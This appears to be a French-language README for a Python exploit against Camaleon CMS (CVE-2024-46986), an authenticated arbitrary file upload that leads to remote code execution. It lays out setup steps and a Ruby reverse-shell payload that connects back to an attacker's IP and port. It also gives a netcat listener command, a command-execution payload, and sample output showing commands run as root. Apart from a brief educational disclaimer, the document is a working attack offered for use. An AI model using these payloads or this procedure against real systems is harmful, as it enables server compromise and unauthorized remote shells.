
Exploit Python automatisé pour la vulnérabilité de téléversement arbitraire de fichiers dans Camaleon CMS (CVE-2024-46986). Prend en charge les payloads de shell inversé et d'exécution de commandes pour l'exécution de code à distance authentifiée.
Ce dépôt contient un script Python qui automatise l'exploitation d'une vulnérabilité de téléversement de fichiers dans Camaleon CMS. Cette vulnérabilité permet à un attaquant de téléverser des fichiers arbitraires (tels que des scripts Ruby) sur le serveur, ce qui peut potentiellement conduire à une exécution de code à distance (RCE) ou à d'autres impacts de sécurité graves.
requests de Python.Identifiants utilisateur valides : Une session authentifiée est requise pour que l'exploit fonctionne. Vous avez besoin du auth_token et de la d'un utilisateur valide.
_cms_sessionPython 3.x : Assurez-vous que Python 3.x est installé.
Bibliothèque requests de Python : Installez la bibliothèque requests si ce n'est pas déjà fait.
pip install requests
Clonez le dépôt :
bash
https://github.com/vidura2/CVE-2024-46986.git cd CVE-2024-46986
Remplacez les espaces réservés your_auth_token_here, your_session_token_here et https://target_site_here dans le script Python par les valeurs réelles.
Si vous utilisez la charge utile de reverse shell, remplacez également your_ip et your_port par votre adresse IP et le port sur lequel vous mettrez en place un listener.
Reverse Shell : Pour téléverser un reverse shell, définissez la variable payload_type dans le script sur "reverse_shell".
Exécution de commandes : Pour téléverser un script qui exécute des commandes système, définissez payload_type sur "command_execution". Vous pourrez saisir plusieurs fois des commandes à exécuter sur le serveur cible.
bash
python exploit_camaleon.py
Si vous utilisez la charge utile d'exécution de commandes, vous pouvez saisir plusieurs commandes :
bash
Enter a system command to execute (or type 'exit' to quit): whoami
Enter a system command to execute (or type 'exit' to quit): ls
Enter a system command to execute (or type 'exit' to quit): exit
Types de charge utile
La charge utile de reverse shell établit une connexion de retour vers la machine de l'attaquant, permettant une exécution de code à distance sur le serveur.
Modifiez l'adresse IP et le port dans le script Ruby à l'intérieur du code Python.
Exemple de charge utile :
ruby
require 'socket' s = TCPSocket.open('your_ip', your_port) while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print io.read end end
Mettez en place un listener sur votre machine à l'aide de netcat :
bash
nc -lvnp <your_port>
2. Exécution de commandes
Cette charge utile téléverse un script Ruby qui exécute des commandes système (par exemple, whoami) sur le serveur. Vous pouvez saisir des commandes à plusieurs reprises pendant l'exécution.
Le script continuera de demander des commandes jusqu'à ce que vous tapiez exit.
Exemple :
ruby
system("whoami")
Exemple d'exploit réussi
Une fois l'exploit exécuté avec succès, vous devriez voir dans le terminal une sortie indiquant le succès :
python
Exploit executed successfully with payload type: reverse_shell!
Si vous utilisez le reverse shell, le listener netcat devrait vous donner accès au shell du serveur compromis.
Pour la charge utile d'exécution de commandes :
bash
Enter a system command to execute (or type 'exit' to quit): whoami Command 'whoami' executed successfully! Response: root
Ce script est destiné uniquement à des fins éducatives. L'auteur n'est pas responsable de tout usage abusif ou de tout dommage causé par cet exploit. Assurez-vous toujours d'avoir l'autorisation avant de tester ou d'exploiter des vulnérabilités. Contribution
N'hésitez pas à soumettre des issues ou des pull requests pour des améliorations ou des fonctionnalités supplémentaires !
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.